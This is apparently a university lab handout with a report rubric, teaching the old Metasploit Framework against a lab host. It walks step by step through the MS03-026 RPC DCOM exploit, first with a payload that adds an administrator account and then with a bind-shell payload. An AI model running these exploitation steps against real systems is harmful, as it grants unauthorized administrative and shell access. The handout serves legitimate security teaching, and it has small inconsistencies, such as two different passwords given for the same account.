Lab Exercise – Introduction to the Metasploit Framework

Objectives
In this lab exercise you will complete the following tasks:

- Use MSF in Browser Mode to exploit Windows 2000’s RPC DCOM Add User vulnerability
- Use MSF in Terminal Mode to exploit the Bind-Shell overflow vulnerability.
- Use a new exploit to launch the attack. (Read the Report to Deliver first for details.)

Visual Objective

Lab Setup Diagram
Task 1 – Using Metasploit Framework with the Web Interface

To use MSF through a web browser, complete the following steps:

Step 1  Open the web interface called MSFweb from the programs menu.

Step 2  To view the interface open a web browser such as Microsoft Explorer and enter the address 127.0.0.1:55555 in the address bar, which will bring up the startup interface:
Step 3  Displaying the homepage gives the user a few options. Most notable is the list of available exploits. At the bottom of the page is a link to return to the page you’re on (Exploit Listing).

Take some time to explore the web interface. After exploring return to the homepage by clicking on the Exploit Listing link at the bottom.

Step 4  Now that you’re familiar with the interface you are ready to exploit a live host. From the Exploit Listing page select the link for the Microsoft RPC DCOM MS03-026 exploit.

This now gives you a listing of information about the exploit, who developed it, what hosts it will work against, and often links to further information on the vulnerability being exploited. Once you have looked at this click the Select Payload link.

Step 5  You are now faced with a group of possible payloads. In penetration testing, as well as in unethical blackhat hacking, an exploit is used to take advantage of the
vulnerability and a payload is the code then used to allow the pentester to interact with the now exploited system.

For this exercise the payload will create a new user in the Administrator group. You can then use this user name and password to log in to the compromised system. Click **win32_adduser** select this option and continue.

**Step 6** Now that the exploit is selected it must be configured. Use the following configuration options:

- **RHOST**: 170.140.0.10
- **PASS**: Own3d!
- **USER**: pentester

Also the single radio button for Windows NT SP6/2K/XP ALL to select the type of host being attacked. This normally allows you to select the type of system to be exploited, but for this case the same works for all systems.

**Step 7** With the data entered in as follows press the Launch Exploit button:
Step 8

MSF will now exploit the host 170.140.0.10 and add a new user called pentester to the machine. Go to the keyboard for 170.140.0.10 and attempt to log in.

```
PASS:  0wn3d!
USER:  pentester
```

You have now successfully used MSF to compromise a Windows host with the web interface. This gave you a taste of how Metasploit works. In the next exercise you will do much the same thing, using MSF’s terminal interface.

**Task 2 – Using Metasploit Framework with the terminal interface**

Though it is easy to use Metasploit Framework with the web interface it has other options. Most penetration testers are more comfortable using the terminal interface, reserving the web interface for demonstrations. Once a pentester gains the necessary familiarity with it the terminal interface is faster, more flexible, and scriptable.

**Step 1** Close your web browser and the MSF web interface. Open the MSF console for the terminal interface.

**Step 2** This opens the greeting screen for MSF’s terminal interface.
Step 3  Use the *ls* command again to display the contents of the MSF folder.

Hit **Enter** after each command to register and clear the display. For a list of possible commands press ?+**Enter**

Step 3  Take some time to familiarize yourself with the interface. Try looking up the RCP DCOM exploit used in the previous example. Use the ? and help
commands as necessary. After you have grown accustomed to this interface move on to step 4.

**Step 4**  
Now that you are used to moving within the terminal interface use the clear command again to return to the start, and execute:

```
show exploits
```

For this exercise we will be exploiting a Windows machine running IIS 5.0, an older version of Microsoft’s IIS webserver with many well known and understood vulnerabilities. Execute each of the following commands and examine their output.

```
info exploit msrpc_dcom_ms03_026
```
use exploit msrpc_dcom_ms03_026

As you saw the info command gives information on the exploit as the web interface did in previous example. The use command sets which exploit is to be used. This can be verified by the change in the console prompt to:

```
msf msrpc_dcom_ms03_026 >
```

Step 5  With the exploit type set check for payloads with:

```
show payloads
```

![MSFConsole](image)

Step 6  For this exercise we want to listen for a connection and spawn a shell. Select the appropriate exploit with:

```
set PAYLOAD win32_bind
```

And use the following command to see what variables must be set for this payload:

```
show options
```

Step 7  From the previous results we saw that the only required variables is RHOST, the host to be exploited. Set this with the set command:

```
set RHOST 170.140.0.10
```
Step 8   The last option to be set is the target host type. Use the following commands.

    show targets

    supported exploit targets

    set target 0

Step 8   With those options set everything is complete. Simply use the command:

    exploit

When this command completes it will allow users a command line connection to control the vulnerable system. This represents a successful exploit.

You are now familiar with the basic usage of MSF using both the command line and web interface. This is a valuable tool in penetration testing and exploitation research that needs to be used responsibly. There are many other advanced uses of this tool, from scripted attacks to writing your own exploits and payloads. Resources can be found at:

http://www.metasploit.org
http://www.securityfocus.com/infocus/1789

In addition special thanks to H.D. Moore, creator of this tool and a valuable resource to anyone working with it. He can be reached at hdm@metasploit.com.

This completes the lab.
Report to deliver:
The group report is to show what you did in the project. Please clearly state your results of this project. You are expected to hand in a report in the following formats:
- A cover page (including project title) with group name and group members
- A table of contents with page numbers
- Using double-spaced typing for convenient grading
- Hard copies only, Font size 12, Single column
- A bound or stapled document, with numbered pages

The report should have the following sections. Each section has multiple items. You need to write a report section by section that covers all required items. But you do not have to write the report item by item. Take screenshots if it is necessary.

Section I: Introduction:
You should have the following parts:
- Describe the goal and motivation of this project. In addition to what has been stated in the project instruction, please tell your own expectation in this project.
- Give an outline of this report, in which the content of each section needs to be briefly described.

Section II: Task 1
You should have the following parts:
- Briefly describe the functionality of Metasploit.
- Show the results you get (screenshots may be necessary).
- Besides the exploit we pointed in task 1 (MSRPC_DCOM), work together with your teammates to use another exploit to penetrate your target computer, show the steps and results in details. (For example: Microsoft LSASS MSO4-011 Overflow, using win32_adduser.)

Section III: Task 2
You should have the following parts:
- Briefly describe the functionality of Metasploits in terminal mode.
- Show the results you get in terminal mode (screenshots are good to go).
- In web interface mode (MSFweb), use win32_bind in Microsoft LSASS MSO4-011 Overflow to attack your target computer and report your results.

Section IV: Questions
You should answer the following questions related to this project:
- Explain what an Exploit Sled is from your use of MSF?
- Explain what a payload is and name a few potential payloads?
- Use the Internet and explain the idea of a NOP (No Operation) sled?
- Go to the Open Source Vulnerability Database (http://www.osvdb.com) and search for a recent vulnerability. Write a brief description including who discovered the vulnerability, what program and operating systems are affected, and how the vulnerability could affect those systems?
Note: to use above questions, you can use Google to find answers.

Section IV: Experiment Log
This part should describe your activities in this project.
- Clearly state the responsibility of each group member. If possible, give a table to tell who did which task, who collected information of which device, who wrote which part of the report, who coordinated the group work activities, etc.
- Give a log of your group activity, such as what you did on which day, and how many people attend.

Grading Rubric
This project has a number of specific requirements. The requirement for each section is documented in the above project instruction “Report to deliver”. Whether you will get credits depends on the following situations:
- You will get full credits on one item, if it is correctly reported as required and well written.
- You will get half credits on one item, if it is reported as required but there is something definitely wrong.
- You will not get any credit for one item, if it is not reported.

The credits for each section are in the following. Each item in one section has equal credits.
1. Section I: Introduction (5%):
   Each item has 2.5 credits.
2. Section II: Task 1 (35%):
   First two items have 10 credits each; the third item has 15 credits.
3. Section III: Task 2 (30%):
   Each item has 15 credits.
4. Section IV: Questions (20%)
   Each question has 5 credits.
5. Section IV: Experiment log (10%)
   - If you are responsible for some parts of your group work, you get 10 credits. If you do nothing for your group work, you get 0.
   - If you attend more than 90% of your group activities, you get 10 credits. If you attend between 70% and 90%, you get 7 credits. If you attend between 50% and 70%, you get 5. Otherwise, you get 0.

Note
This is a group project. Only hard copies of the report will be accepted. Be sure to include the names of all the teammates and email addresses in the report. The report should be turned in before class on the specified due date. Late grade will be deducted in case the submission is not made on time and prior permission is not obtained from Dr Liu for submitting later than the specified due date.